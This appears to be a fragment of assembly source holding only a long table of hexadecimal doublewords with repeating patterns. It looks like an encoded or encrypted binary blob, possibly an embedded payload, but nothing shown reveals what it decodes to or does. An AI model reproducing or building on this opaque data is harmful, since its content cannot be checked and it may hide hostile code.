		dd 9065D3A7h, 0DB4849D8h, 0D30F5B9Fh, 6CA75425h, 0A82DA7C7h
		dd 0A7A42DA7h, 2DA7A02Dh, 8106B0ACh, 9CDBA7A7h,	0AC1DD144h
		dd 49D8B8F9h, 5BB0DB48h, 4CF99B59h, 0DB4849D9h,	9B615798h
		dd 0E757542Ah, 49D89C5Dh, 5298DB48h, 25D39B71h,	8C6DD3B0h
		dd 0DB4849D8h, 0AF595CB6h, 3CE5ECA7h, 0D3A7A7A7h, 49D95865h
		dd 5A9FDB48h, 5425D30Fh, 0A7C76CA7h, 2DA7A42Dh,	0AC2DA7A0h
		dd 0B0A82DA7h, 0A7A78158h, 0D1449CDBh, 0E757A81Dh, 49DA1C5Dh
		dd 4DE75748h, 4849D95Ch, 0B0DB8859h, 0F99B595Ch, 4849D8BCh
		dd 615398DBh, 0F9482A9Bh, 4849DA64h, 5B5798DBh,	49D9685Dh
		dd 0D39B7148h, 6DD3B025h, 4849D9ECh, 595AB6DBh,	0E5ECA7AFh
		dd 0A7A7A73Ch, 0D9B865D3h, 9FDB4849h, 25D30F54h, 0C76CA754h
		dd 0A7A02DA7h, 2DA7AC2Dh, 0A42DA7A8h, 0A780CBB0h, 449CDBA7h
		dd 0F9A41DD1h, 4849D998h, 595A98DBh, 5DE7579Bh,	4849D91Ch
		dd 615498DBh, 0F9522A9Bh, 4849D990h, 715098DBh,	0B025D39Bh
		dd 0D9AC6DD3h, 0E7574849h, 49DA504Dh, 0DB8E5948h, 0AF595FB6h
		dd 3CE5ECA7h, 0D3A7A7A7h, 49D90065h, 4A9FDB48h,	0D96C655Bh
		dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh
		dd 807EB0A0h, 9CDBA7A7h, 0A01DD144h, 49DA68F9h,	5A98DB48h
		dd 0B8F99B59h, 0DB4849D9h, 5D5B5398h, 4849D890h, 542A9B61h
		dd 0C85DE757h, 0DB4849D9h, 9B715098h, 49D928F9h, 0B01D5948h
		dd 605DE757h, 0DB4849D9h, 1D615198h, 0CDE57B0h,	0D3A7A7A6h
		dd 49D8FC45h, 5FB3DB48h, 49D8BCF9h, 185D5B48h, 0DB4849D9h
		dd 1DD15EB0h, 599FB1BCh, 25D35858h, 0E5ECA7BCh,	0A7A7A77Ch
		dd 0DA1065D3h, 9FDB4849h, 25D30F5Ah, 0C76CA754h, 0A7A82DA7h
		dd 2DA7A42Dh, 0AC2DA7A0h, 0A7E52CB0h, 449CDBA7h, 0F9AC1DD1h
		dd 4849D998h, 5B5E98DBh, 49DA605Dh, 0F99B5948h,	4849D990h
		dd 615098DBh, 0F9522A9Bh, 4849D880h, 715298DBh,	0BC25D39Bh
		dd 5C6DE757h, 5B4849D9h, 49D9486Dh, 50B6DB48h, 0ECA7AF59h
		dd 0A7A77CE5h, 0DC65D3A7h
		dd 574849D9h, 0D9FC6DE7h, 0AF594849h, 5425D30Fh, 0A7C76CA7h
		dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7E55Dh, 0D1449CDBh
		dd 14F9A81Dh, 0DB4849D9h, 5D5B5C98h, 4849DA7Ch,	0E7579B59h
		dd 49D9CC5Dh, 904DD348h, 0D54849D9h, 615F481Ch,	574B2A9Bh
		dd 0D93C5DE7h, 4DD34849h, 4849D920h, 5E481CD5h,	25D39B71h
		dd 806DD3BCh, 0DB4849D8h, 0AF595CB6h, 7CE5ECA7h, 0D3A7A7A7h
		dd 49D98065h, 5E9FDB48h, 0D8BC655Bh, 0D30F4849h, 6CA75425h
		dd 0A02DA7C7h, 0A7AC2DA7h, 2DA7A82Dh, 0E4D3B0A4h, 9CDBA7A7h
		dd 0A41DD144h, 49DA4CF9h, 5C98DB48h, 98F99B59h,	0DB4849D9h
		dd 9B615798h, 0BCF94B2Ah, 0DB4849D8h, 0E7575D98h, 49D89C4Dh
		dd 71885948h, 0BC25D39Bh, 9C6DE757h, 0DB4849D8h, 0AF595BB6h
		dd 7CE5ECA7h, 0D3A7A7A7h, 49D94465h, 499FDB48h,	0D930655Bh
		dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh
		dd 0E447B0A0h, 9CDBA7A7h, 0A01DD144h, 105DE757h, 574849D9h
		dd 0D8F04DE7h, 1CD54849h, 9B595E48h, 49D998F9h,	5798DB48h
		dd 0D9D85D5Bh, 9B614849h, 44F94B2Ah, 0DB4849DAh, 0E7575198h
		dd 49D9604Dh, 71885948h, 0D904F99Bh, 1D594849h,	0D90CF9BCh
		dd 98DB4849h, 0BC1D615Ch, 0A670DE57h, 25D3A7A7h, 0A06DD350h
		dd 5B4849D9h, 49D9F86Dh, 5407D348h, 0D1A8055Bh,	57B8EF04h
		dd 0D8CC6DE7h, 6D5B4849h, 4849D968h, 55B47D3h, 0EF04D1ACh
		dd 6DE757ACh, 4849DA18h, 0DA586D5Bh, 7D34849h, 0A4055B50h
		dd 8CEF04D1h, 0D9D46DD3h, 7D34849h, 0A0055B5Ch,	7EF44D1h
		dd 9B910306h, 30BDD10Dh, 4849334Ch, 71A04DA7h, 4CF9485Dh
		dd 5484933h, 0D585C9Ah,	0B4D9BDD1h, 58585B40h, 0D30F0E0Bh
		dd 5D3502Dh, 1865D354h,	174849D9h, 585A73B1h, 0D5A23058h
		dd 0EDB04849h, 0FA7A7EAh, 0A5CDD508h, 0AA7A7A4h, 1704DA7h
		dd 0D0F94855h, 5D4849D9h, 585858A2h, 0D9D45D5Bh, 0DDD14849h
		dd 0A7A7A5A4h, 49D5B030h, 0EADEB048h, 0CDD5A7A7h, 0A7A7A4B4h
		dd 0A4CDD50Ah, 0AA7A7A5h, 0A759CDD5h, 80AA7A7h,	0A4A5CDD5h
		dd 300AA7A7h, 0D8585859h, 584AD8B0h, 749CDB58h,	0A4A8DDD1h
		dd 98DDA7A7h, 59E1DC57h, 0DDD55858h, 0A7A7A65Ah, 5BDDD508h
		dd 8A7A7A7h, 0A79B1AB0h, 0D8B8F9A7h, 5D5B4849h,	4849DA58h
		dd 852B0DBh, 0A65ADDD5h, 0B08A7A7h, 0A7BD12B0h,	4C9CDBA7h
		dd 0D9344DD3h, 9AD94849h, 5858A7A2h, 0DC578861h, 5858592Bh
		dd 49D5D230h, 0E9A6B048h, 801A7A7h, 0A759CDD5h,	0B00AA7A7h
		dd 58580495h, 49D9DCF9h, 385D5B48h, 0DB4849D9h,	0DDD153B0h
		dd 0A7A7A4ACh, 49D9ACF9h, 51B0DB48h, 0A4A0DDD1h, 6DB3A7A7h
		dd 0A4A0DDD3h, 0E4D8A7A7h, 0A7A7595Dh, 472D7BA7h, 0A4A0DDD3h
		dd 4DD3A7A7h, 4849D948h, 0C455E757h, 594849D8h,	57B2DB92h
		dd 595DCCD0h, 0A7A7A7A7h, 0A7A4A0DDh, 0A0E5D9A7h, 0A7A7A7A4h
		dd 2A585858h, 0D8B0F9E7h, 0A35D4849h, 5B585858h, 49D8845Dh
		dd 0A4DDD148h, 0D5A7A7A5h, 0A7A4B4DDh, 0DDD508A7h, 0A7A7A5A4h
		dd 5ADDD508h, 8A7A7A6h,	0A4ACDDD3h, 0DCD5A7A7h,	0A7A7595Dh
		dd 0DDD508A7h, 0A7A7A4A5h, 58593008h, 3AB0D858h, 0DB585849h
		dd 0DDD1409Ch, 0A7A7A4A8h, 782D98DDh, 0B05DE757h, 574849D9h
		dd 0D9C84DE7h, 88594849h, 0D96C4DD3h, 0B2DB4849h, 5DCCD05Ah
		dd 0A7A7A5ABh, 0A4ACDDD3h, 0DDD1A7A7h, 0A7A7A4B0h, 595DD4D5h
		dd 0DBA7A7A7h, 0D818A790h, 2D585964h, 0B0D5D3A1h, 59A7A7A4h
		dd 0ACD5D199h, 0D5A7A7A4h, 0A7A65ADDh, 0A70E08A7h, 58A8744Dh
		dd 509CDB48h, 49D5DD30h, 0E896B048h, 9CDBA7A7h,	0A70E085Ch
		dd 58A8744Dh, 509CDB48h, 0A4ACDDA7h, 0DDD3A7A7h, 0A7A7A4ACh
		dd 5DDCEE57h, 0A7A7A759h, 0D9004DD3h, 4D5B4849h, 4849D9E4h
		dd 6151B2DBh, 52DD5788h, 1FA7A7A7h, 49D948F9h, 4D98DB48h
		dd 0DA579F61h, 0A7A7A59Dh, 91030607h, 0BDD10D9Bh, 505DE757h
		dd 104849DAh, 334C5D61h, 532E4849h, 49334C30h, 4C4DA748h
		dd 0F94858A8h, 4849334Ch, 585C9A05h, 14D30E0Bh,	6DD3547Ch
		dd 4849DA4Ch, 0D88045D3h, 9BD94849h, 0B795F3DAh, 944DE757h
		dd 594849D8h, 0E904D18Bh, 6DE757A0h, 4849D960h,	0D93845D3h
		dd 9BD94849h, 486A0C37h, 57E944D1h, 0D99C6DE7h,	6D5B4849h
		dd 4849D958h, 0D90845D3h, 9BD94849h, 0C0E284ACh, 0D9E4455Bh
		dd 4D14849h, 6DD39CE9h,	4849D948h, 1045E757h, 0D94849D9h
		dd 1D7B589Bh, 0E904D13Fh, 9B030684h, 0D522300Fh, 8DB04849h
		dd 1A7A7F7h, 0C04DA708h, 0FB48597Dh, 4849DA34h,	49D954F9h
		dd 4DE75748h, 4849D970h, 0B0DB8859h, 345D615Fh,	2D4849DAh
		dd 0D537304Fh, 0FDB04849h, 1A7A7F7h, 404DA708h,	0FB485D6Ah
		dd 4849DA34h, 705DE757h, 0DB4849D9h, 5D615DB0h,	4849DA34h
		dd 130452Ch, 0B04849D5h, 0A7A7F724h, 6DA70801h,	4849DA34h
		dd 79F44DA7h, 0ECFB4859h, 748597Dh, 0BDD10D9Bh,	0F0E0B09h
		dd 0D15405D3h, 5CB79987h, 55D3A0D1h, 4849D92Ch,	0AF5199DBh
		dd 0A41DD1B9h, 9E7186D1h, 5C45E757h, 1B4849D9h,	86D1A9D1h
		dd 5D3BE8Bh, 44EF5750h,	7987D123h, 2DAF61AFh, 5DE7574Ch
		dd 4849D91Ch, 655B9FD1h, 4849D8C0h, 0B354B7DBh,	5DE7574Ah
		dd 4849D8A0h, 655B9FD1h, 4849D918h, 0D15EB7DBh,	30607A0h
		dd 0D10D9B91h, 48B4DBBDh, 0D50F0E0Bh, 0A708A41Dh, 97B0502Dh
		dd 0DB585863h, 9ED1509Ch, 0CC5DE757h, 104849D9h, 5F2D9E61h
		dd 0F1B19869h, 0F9585858h, 4849D9F8h, 655B9FD1h, 4849D9B8h
		dd 0D350B7DBh, 99D1541Dh, 18A790DBh, 585964D8h,	1DD1A12Dh
		dd 6654D5A0h, 18A790DBh, 585964D8h, 9BD1A12Dh, 63480573h
		dd 172DA005h, 59A81D9Fh, 57585858h, 0D9705DE7h,	0B0DB4849h
		dd 0AC1DD15Dh, 1DD37AB3h, 59A2D1ACh, 480D5B9Ah,	4E4CEE57h
		dd 575415D3h, 61595CE6h, 0DB5E2C9Ah, 0B358A83Dh, 0AC1DA750h
		dd 2AAC0561h, 0A825DB81h, 0E542C58h, 7D944DA7h,	98694859h
		dd 5B79B318h, 60F94825h, 184849DAh, 0DA545D5Bh,	9F594849h
		dd 25638759h, 0EDA2AA4h, 7D944DA7h, 98694859h, 91030607h
		dd 0BDD10D9Bh, 0E54B4DBh, 542DD30Fh, 69501DD3h,	0D3AEAF8Ah
		dd 49D9F465h, 5AB7DB48h, 5D2DA261h, 0B3501DD3h,	501DD342h
		dd 0AEAF8A69h, 0D1A01DD1h, 0D1BEAF9Fh, 9FD1AC1Dh, 25D1AF59h
		dd 7A0D1A4h, 0D9B9106h,	0B4D9BDD1h, 58585A68h, 0D30F0E0Bh
		dd 5D3502Dh, 6580D154h,	58585958h, 0D4574E2Ch, 58585D93h
		dd 58594965h, 0F8DC5758h, 0B1585858h, 58585DE3h, 514825DBh
		dd 5DE9DD57h, 0E7575858h, 49DA1865h, 50B7DB48h,	68E033B3h
		dd 0AF585858h, 0A0DDD1BFh, 61A7A7A5h, 6D3C5D6Ch, 472D4851h
		dd 585868E0h, 0D1BFAF58h, 0A7A5ACDDh, 5D6CA7A7h, 48516D30h
		dd 71A44DA7h, 28B1485Dh, 0E058585Dh, 58585868h,	0DDD1BFAFh
		dd 0A7A7A5ACh, 385D6C61h, 2D48516Dh, 5868E047h,	0BFAF5858h
		dd 0A5A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 0A44DA748h, 0B1485D71h
		dd 58585D63h, 5DE7571Fh, 4849DA48h, 0D9E44DD3h,	1CD54849h
		dd 9F610148h, 78B1D82Ah, 5758585Dh, 0D9705DE7h,	9FD14849h
		dd 0D92C655Bh, 0B7DB4849h, 0E042B354h, 58585868h, 0DDD1BFAFh
		dd 0A7A7A5A0h, 345D5CD3h, 6148516Dh, 4B2C4C1Dh,	0D918F91Fh
		dd 98DB4849h, 0D85D5B3Bh, 614849D9h, 0F98C2A9Fh, 4849D9E8h
		dd 610598DBh, 88DC579Fh, 3058585Ch, 585858A7h, 0A6A5DDD5h
		dd 0E008A7A7h, 58585868h
		dd 0DDD1BFAFh, 0A7A7A5ACh, 5D6CA7h, 0A748516Dh,	4937604Dh
		dd 5DE75748h, 4849D9FCh, 0AE5DDC9Eh, 13A7A7A5h,	645DE757h
		dd 0D34849D9h, 49D9804Dh, 5CB2DB48h, 0AD5DCCD0h, 57A7A7A5h
		dd 0D9F05DE7h, 5D5B4849h, 4849D8B0h, 0A45DDC9Eh, 24A7A7A5h
		dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h
		dd 30509CDBh, 585858A7h, 0A6A5DDD5h, 0E008A7A7h, 58585868h
		dd 0DDD1BFAFh, 0A7A7A5A8h, 385D6CA7h, 0A748516Dh, 4937604Dh
		dd 0DA54F948h, 0E7574849h, 49D9CC4Dh, 57885948h, 0A05DDCE6h
		dd 0D3A7A7A6h, 49D9904Dh, 444D5B48h, 0DB4849D9h, 886152B2h
		dd 6E30042Dh, 0B04849D5h, 0A7A7F3A8h, 4DE75701h, 4849D960h
		dd 0A5BB2DBh, 0D9AC4DD3h, 4D5B4849h, 4849D8F4h,	0A48B2DBh
		dd 184DD308h, 5B4849D9h, 49D8E04Dh, 5DB2DB48h, 604DA70Ah
		dd 0E0485501h, 58585868h, 0DDD1BFAFh, 0A7A7A5B4h, 385D6CA7h
		dd 0A748516Dh, 5D71A44Dh, 5BF5B148h, 69305858h,	0B04849D5h
		dd 0A7A7F3CCh, 0A4CDD508h, 0AA7A7A5h, 0A8744DA7h, 0DDD54858h
		dd 0A7A7A6A5h, 0A4DDD508h, 8A7A7A5h, 0A8744DA7h, 9CDB4858h
		dd 58A7304Ch, 0DDD55858h, 0A7A7A6A5h, 5868E008h, 0BFAF5858h
		dd 0A5B4DDD1h, 6CA7A7A7h, 516D3C5Dh, 604DA748h,	0F9484937h
		dd 4849D8F4h, 5DDCE657h, 0A7A7A6AEh, 0D8C04DD3h, 4D5B4849h
		dd 4849D898h, 6153B2DBh, 30022D88h, 4849D557h, 0A7F347B0h
		dd 4DD301A7h, 4849D918h, 0D8904D5Bh, 0B2DB4849h, 4DD30A5Ah
		dd 4849D9A0h, 0D9344D5Bh, 0B2DB4849h, 57080A50h, 0D9104DE7h
		dd 0A124849h, 1604DA7h,	68E04855h, 0AF585858h, 0B0DDD1BFh
		dd 0A7A7A7A5h, 6D3C5D6Ch, 4DA74851h, 485D71A4h,	585A86B1h
		dd 0D5523058h, 9DB04849h, 8A7A7F2h, 0A5A4CDD5h,	0A70AA7A7h
		dd 58A8744Dh, 0A5DDD548h, 8A7A7A6h, 0A5A4DDD5h,	0A708A7A7h
		dd 58A8744Dh, 4C9CDB48h, 5858A730h, 0A5DDD558h,	8A7A7A6h
		dd 585868E0h, 0D1BFAF58h, 0A7A5B0DDh, 5D6CA7A7h, 48516D30h
		dd 37604DA7h, 0CF94849h, 574849D9h, 0AD5DDCE6h,	57A7A7A6h
		dd 0DA484DE7h, 4D5B4849h, 4849DA64h, 615DB2DBh,	71DC5788h
		dd 0D5585859h, 0A7A6A5D5h, 0A790DBA7h, 5964D818h, 0D1A12D58h
		dd 7455D39Ah, 574849DAh, 0DA505DE7h, 99594849h,	615CB1DBh
		dd 0A5DA5792h, 0F9585858h, 4849DA74h, 0D05FB0DBh, 0A7A6A3DDh
		dd 577AB3A7h, 0A6A3DDEEh, 0DCD2A7A7h, 0A7A6A55Dh, 246864A7h
		dd 2661645Ch, 588AB15Dh, 0DDD85858h, 0A7A7A6A3h, 0A5D5D559h
		dd 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h, 0A7A7A6A3h
		dd 9B2A9961h, 49D9B8F9h, 545D5B48h, 0DB4849DAh,	0DDD050B0h
		dd 0A7A7A6A4h, 0DDD22EB3h, 0A7A7A6A4h, 0A5BFDDD0h, 71B3A7A7h
		dd 0BFDDEE57h, 57A7A7A5h, 0A55DDCE6h, 57A7A7A6h, 0A6A4CDEEh
		dd 0E657A7A7h, 0A6A54DCCh, 8861A7A7h, 0DDD87A2Dh, 0A7A7A5BFh
		dd 0A5D5D559h, 0DBA7A7A6h, 0D818A790h, 2D585964h, 0D5EE57A1h
		dd 0A7A7A5BFh, 0E42A9961h, 0BFDDEE57h, 57A7A7A5h, 0A6A4CDEEh
		dd 8871A7A7h, 0D8E44DD3h, 9ADB4849h, 2788615Bh,	0A4DDD873h
		dd 59A7A7A6h, 0A6A5D5D5h, 90DBA7A7h, 64D818A7h,	0A12D5859h
		dd 0A4D5EE57h, 61A7A7A6h, 33DA5799h, 0B1A7A7A7h, 585858C4h
		dd 49D928F9h, 5F945D48h, 0A7085858h, 55017C4Dh,	0D4893048h
		dd 49B04849h, 0D1A7A7F1h, 0A7A5BCDDh, 0D4E230A7h, 59B04849h
		dd 0D3A7A7F1h, 49D9504Dh, 50B2DB48h, 0CDD3080Ah, 0A7A7A5BCh
		dd 744DD30Ah, 5B4849DAh, 49D8B44Dh, 50B2DB48h, 604DA70Ah
		dd 30485501h, 4849D4EEh, 0A7F097B0h, 489CDBA7h,	5868E008h
		dd 0BFAF5858h, 0A5B8DDD1h, 9AD1A7A7h, 304D6CA7h, 0A748516Dh
		dd 49010C4Dh, 5868E048h, 0BFAF5858h, 0A584DDD1h, 6CA7A7A7h
		dd 516D305Dh, 0A44DA748h, 0B1485D71h, 585858C7h, 49D4E930h
		dd 0F0DEB048h, 0D508A7A7h, 0A7A5A4CDh, 4DA70AA7h, 4858A874h
		dd 0A6A5DDD5h, 0D508A7A7h, 0A7A5A4DDh, 4DA708A7h, 4858A874h
		dd 585868E0h, 0D1BFAF58h, 0A7A580DDh, 5D6CA7A7h, 48516D00h
		dd 69B04DA7h, 0DDD5485Dh, 0A7A7A5A4h, 4C4DA708h, 0DB485958h
		dd 5D32409Ch, 585868E0h, 0D1BFAF58h, 0A7A58CDDh, 5D6CA7A7h
		dd 48516D0Ch, 1004DA7h,	68E04849h, 0AF585858h, 88DDD1BFh
		dd 57A7A7A5h, 0D9C05DE7h, 0E7574849h, 49D9944Dh, 0DB885948h
		dd 0CDD352B0h, 0A7A7A588h, 84D5CD1h, 0D348516Dh, 49D98465h
		dd 588FB148h, 68E05858h, 0AF585858h, 0A01DD1BFh, 45D6C63h
		dd 2D48516Dh, 4C2DA77Ch, 0B482DA7h, 5868E00Eh, 0BFAF5858h
		dd 0A7AC1DD1h, 6D245D6Ch, 4DA74851h, 485100A0h,	5858E1B1h
		dd 5868E058h, 0BFAF5858h, 63A81DD1h, 6D305D6Ch,	7C2D4851h
		dd 0A74C2DA7h, 0E0B482Dh, 585868E0h, 0D1BFAF58h, 6CA7B41Dh
		dd 516D205Dh, 0A04DA748h, 0B1485100h, 585858DAh, 585868E0h
		dd 0D1BFAF58h, 6C63B01Dh, 516D385Dh, 0A7792D48h, 2DA74C2Dh
		dd 0E00E0B48h, 58585868h, 1DD1BFAFh, 5D6CA7BCh,	48516D28h
		dd 0A04DA7h, 16B34851h,	585868E0h, 0D1BFAF58h, 6C63B81Dh
		dd 516D3C5Dh, 0A7792D48h, 2DA74C2Dh, 0E00E0B48h, 58585868h
		dd 1DD1BFAFh, 5D6CA784h, 48516D2Ch, 0A04DA7h, 42B34851h
		dd 0D8B0F91Fh, 98DB4849h, 4DE75706h, 4849D8ECh,	9F618859h
		dd 0A748DA57h, 607A7A7h, 489A9103h, 0BDD10D58h,	595CB4D9h
		dd 0F0E5858h, 575425D3h, 0D8885DE7h, 0E7574849h, 49D9104Dh
		dd 0DB885948h, 64D85FB0h, 1D2C765Fh, 0D5502DA7h, 0A7A6A4DDh
		dd 4DA708A7h, 485979FCh, 49D4F430h, 0FEF6B048h,	0D508A7A7h
		dd 0A7A6A4EDh, 4DA70EA7h, 4858A874h, 0A4DDD50Fh, 8A7A7A6h
		dd 0A8744DA7h, 0DDD54858h, 0A7A7A6A4h, 6434B008h, 9CDB5858h
		dd 91060778h, 0D30E0B9Bh, 0D3547C04h, 0D3487C2Ch, 49DA4C55h
		dd 4599DB48h, 49DA44F9h, 4DE75748h, 4849D9A8h, 0B0DB8859h
		dd 0B3997151h, 4CD33E46h, 4C633E13h, 695C2B16h,	3E45B398h
		dd 3E134CD3h, 2E164C63h, 1898695Dh, 0F91156B3h,	4849DA7Ch
		dd 25996110h, 18986980h, 0D9B0306h, 0E0BBDD1h, 482DD30Fh
		dd 694C05D3h, 0D379B3A7h, 71B8E54Ch, 4DD14859h,	4858A850h
		dd 583C4230h, 0A70E0B48h, 2DA7542Dh, 504DA750h,	1F4858A8h
		dd 0DAFC6563h, 8F2A4849h, 5030607h, 0BDD10D9Bh,	0B14B4DBh
		dd 4DA70F0Eh, 48490228h, 0D3A41DD1h, 6DD35005h,	4849D8E0h
		dd 0B35CB6DBh, 0B44DD314h, 0DB4849D9h, 4C615BB2h, 5948B8EDh
		dd 0D3612C48h, 1108ED4Ch, 55D34851h, 4849D880h,	0B20299D9h
		dd 0F8F95858h, 5B4849D8h, 49D9005Dh, 0F7571048h, 63925990h
		dd 482BA40Dh, 0D9E84DD3h, 0B2DB4849h, 0ED4CD15Fh, 485948B8h
		dd 0D988F91Eh, 0B85D4849h, 5B58585Bh, 49D8B45Dh, 2A9E6148h
		dd 0D15BD3F8h, 44D5A81Dh, 7380D15Bh, 1D63501Dh,	9EDB5754h
		dd 57585859h, 0D93C5DE7h, 98DB4849h, 0A81D615Bh, 80D1832Fh
		dd 0D3501D73h, 49D9004Dh, 7C4D5B48h, 124849D9h,	1DD18871h
		dd 0DB81D1A0h, 0D818A790h, 2D585964h, 0AC1DD1A1h, 49DA10F9h
		dd 5B9FD148h, 49D8F465h, 53B7DB48h, 4DD36DB3h, 4849D9B4h
		dd 0D8FC4D5Bh, 0B2DB4849h, 0E54C6152h, 485948B8h, 0DD3442Ch
		dd 0E54C61A0h, 48595878h, 4CD2482Dh, 5979E865h,	400D6248h
		dd 5968DC57h, 0F91F5858h, 4849DA54h, 585BBC5Dh,	2A9F6158h
		dd 0D9D0F9E5h, 0E35D4849h, 6158585Bh, 0DE57AC1Dh, 585858E0h
		dd 49D978F9h, 5D5B1848h
		dd 4849D9E4h, 0ED1DD508h, 9FFCB008h, 9CDBA7A7h,	0D9E4F950h
		dd 0EA5D4849h, 5758585Bh, 0D99C4DE7h, 88594849h, 0F9B41DD1h
		dd 4849DA74h, 0D15FB0DBh, 1DD3B01Dh, 5B5CD2B4h,	0D3BF1DD0h
		dd 0E757B41Dh, 49D99C4Dh, 0AC4D5B48h, 0DB4849D9h, 4CD049B2h
		dd 57B8305Bh, 2DA74859h, 0B02DA7ACh, 8ED1DD5h, 0A74C1DD3h
		dd 502DA768h, 482DA70Bh, 505DE757h, 104849DAh, 5858A77Dh
		dd 0E4B00858h, 0DB58585Ch, 1DD37C9Ch, 0B01DD1B4h, 0D0BF0DD2h
		dd 68F95B4Ch, 5D4849DAh, 58585BE7h, 0D3B41D59h,	1D61AC1Dh
		dd 0D15B2EB4h, 1DD3B41Dh, 0B01D61ACh, 0DAB30B2Bh, 49D4FF30h
		dd 0FBAEB048h, 0B830A7A7h, 0A7485957h, 0E757AC2Dh, 49D9FC4Dh
		dd 55E75748h, 4849D9C0h, 0B2DB9259h, 0D3080A5Fh, 6AA74C0Dh
		dd 0B502DA7h, 0D3482DA7h, 49D8F84Dh, 4C4D5B48h,	0DB4849D9h
		dd 0BAD95CB2h, 585858A7h, 5C65B00Ah, 9CDB5858h,	4C1DD370h
		dd 1DD358A7h, 5B44D5ACh, 4C1DD31Bh, 0DA704DD3h,	9ADB4849h
		dd 57486154h, 0A7A67CDEh, 0D4FB30A7h, 0DDB04849h, 30A7A7FBh
		dd 485957B8h, 0D9804DD3h, 0E7574849h, 49D88855h, 0DB925948h
		dd 570A52B2h, 0D9644DE7h, 0B2DB4849h, 0A080A51h, 0FC4DE757h
		dd 0DB4849D9h, 570A5EB2h, 0D9404DE7h, 0B2DB4849h, 2DA70A50h
		dd 0B84DD348h, 5B4849D9h, 49D9BC4Dh, 5FB2DB48h,	58A7BAD9h
		dd 0B00A5858h, 58585BEFh, 7709CDBh, 9B910306h, 0D4CE300Fh
		dd 41B04849h, 1A7A7FBh,	0C04DA708h, 0FB48597Dh,	4849DA3Ch
		dd 49D9E0F9h, 5C5D5B48h, 0DB4849DAh, 5D615EB0h,	4849DA3Ch
		dd 0D1304F2Dh, 0B04849D4h, 0A7A7FAB4h, 4DA70801h, 485D6A40h
		dd 49DA3CFBh, 0D42F3048h, 8DB04849h, 8A7A7FAh, 0DA3C6DA7h
		dd 4DA74849h, 485979F4h, 5978D4FBh, 0D43F3048h,	0E1B04849h
		dd 8A7A7FAh, 0DA3C6DA7h, 4DA74849h, 485979F4h, 5978DCFBh
		dd 0D40C3048h, 0C5B04849h, 8A7A7FAh, 0DA3C6DA7h, 4DA74849h
		dd 485979F4h, 492810FBh, 0D4183048h, 0D9B04849h, 8A7A7FAh
		dd 0DA3C6DA7h, 4DA74849h, 485979F4h, 597D8CFBh,	0D4693048h
		dd 3DB04849h, 8A7A7FAh,	0DA3C6DA7h, 4DA74849h, 485979F4h
		dd 550164FBh, 0D4783048h, 11B04849h, 0DBA7A7FAh, 0A708409Ch
		dd 49DA3C6Dh, 0F44DA748h, 0FB485979h, 485D69B4h, 300F9B07h
		dd 4849D44Ah, 0A7FA7FB0h, 0A70801A7h, 597DC04Dh, 0DA04FB48h
		dd 0E7574849h, 49D99C5Dh, 50B0DB48h, 0DA045D61h, 4F2D4849h
		dd 49D45C30h, 0F9A6B048h, 801A7A7h, 6A404DA7h, 4FB485Dh
		dd 304849DAh, 4849D3AAh, 0A7F9BFB0h, 0ACB008A7h, 0FB585868h
		dd 48597D90h, 49D3B830h, 0F98AB048h, 0B008A7A7h, 58586887h
		dd 51014CFBh, 0D3913048h, 0E5B04849h, 8A7A7F9h,	586892B0h
		dd 7DFCFB58h, 0EE304859h, 0B04849D3h, 0A7A7F9F0h, 68EDB008h
		dd 64FB5858h, 30485111h, 4849D3FDh, 0A7F9CBB0h,	0F8B008A7h
		dd 0FB585868h, 48550168h, 49D3CF30h, 0F926B048h, 0B008A7A7h
		dd 585868D3h, 490100FBh, 0D3DD3048h, 31B04849h,	8A7A7F9h
		dd 58682EB0h, 78C8FB58h, 21304859h, 0B04849D3h,	0A7A7F90Ch
		dd 6839B008h, 0A4FB5858h, 30485D71h, 4849D335h,	0A7F967B0h
		dd 14B008A7h, 0FB585868h, 485100ACh, 49D30130h,	0F972B048h
		dd 0B008A7A7h, 5858686Fh, 490358FBh, 0D3113048h, 4DB04849h
		dd 8A7A7F9h, 58687AB0h,	0A840FB58h, 6F304858h, 0B04849D3h
		dd 0A7A7F958h, 6855B008h, 0F4FB5858h, 3048597Dh, 4849D37Eh
		dd 0A7F8B3B0h, 0A0B008A7h, 0FB585877h, 48595788h, 49D34C30h
		dd 0F88EB048h, 0B008A7A7h, 585877BBh, 493760FBh, 0D3593048h
		dd 99B04849h, 8A7A7F8h,	587796B0h, 0A0FB58h, 0A8304851h
		dd 0B04849D2h, 0A7A7F8F4h, 77E1B008h, 8FB5858h,	30484901h
		dd 4849D2BBh, 0A7F8CFB0h, 0FCB008A7h, 0FB585877h, 4858A85Ch
		dd 49D28C30h, 0F8DAB048h, 0B008A7A7h, 585877D7h, 516D10FBh
		dd 0D2983048h, 35B04849h, 8A7A7F8h, 587722B0h, 5840FB58h
		dd 0EA304859h, 0B04849D2h, 0A7A7F800h, 773DB008h, 58FB5858h
		dd 30485958h, 4849D2C4h, 0A7F81BB0h, 8B008A7h, 0FB585877h
		dd 48595848h, 49D2D230h, 0F876B048h, 0B008A7A7h, 58587763h
		dd 49010CFBh, 0D2213048h, 41B04849h, 8A7A7F8h, 58777EB0h
		dd 69B0FB58h, 3230485Dh, 0B04849D2h, 0A7A7F85Ch, 7749B008h
		dd 9CD95858h, 58585898h, 550160FBh, 329B0748h, 4AFDB05Ah
		dd 58325858h, 584AC6B0h, 509CDB58h, 0BDD10D9Bh,	1DD50F09h
		dd 413008A4h, 57585A58h, 0D8945DE7h, 8104849h, 0A7542DA7h
		dd 4DA7502Dh, 48597DC4h, 0A7519FD1h, 98695C2Ch,	2DA762B3h
		dd 4C2DA740h, 0F9442DA7h, 4849D8BCh, 0D9E85D5Bh, 0B0DB4849h
		dd 2DA70854h, 0A42DA748h, 0A8144DA7h, 9FD14858h, 0A7A42DA7h
		dd 51015C4Dh, 2CA75148h, 0B398695Ch, 1898695Bh,	0D9B9107h
		dd 60E0BDD1h, 0B0585AA8h, 5858127Dh, 570F0E0Bh,	0D93C65E7h
		dd 0A7314849h, 58585B98h, 9C6DE757h, 0D94849D8h, 58B2029Eh
		dd 6FE4D558h, 58585B98h, 0E5D1BF89h, 0A7A55790h, 1120B00Fh
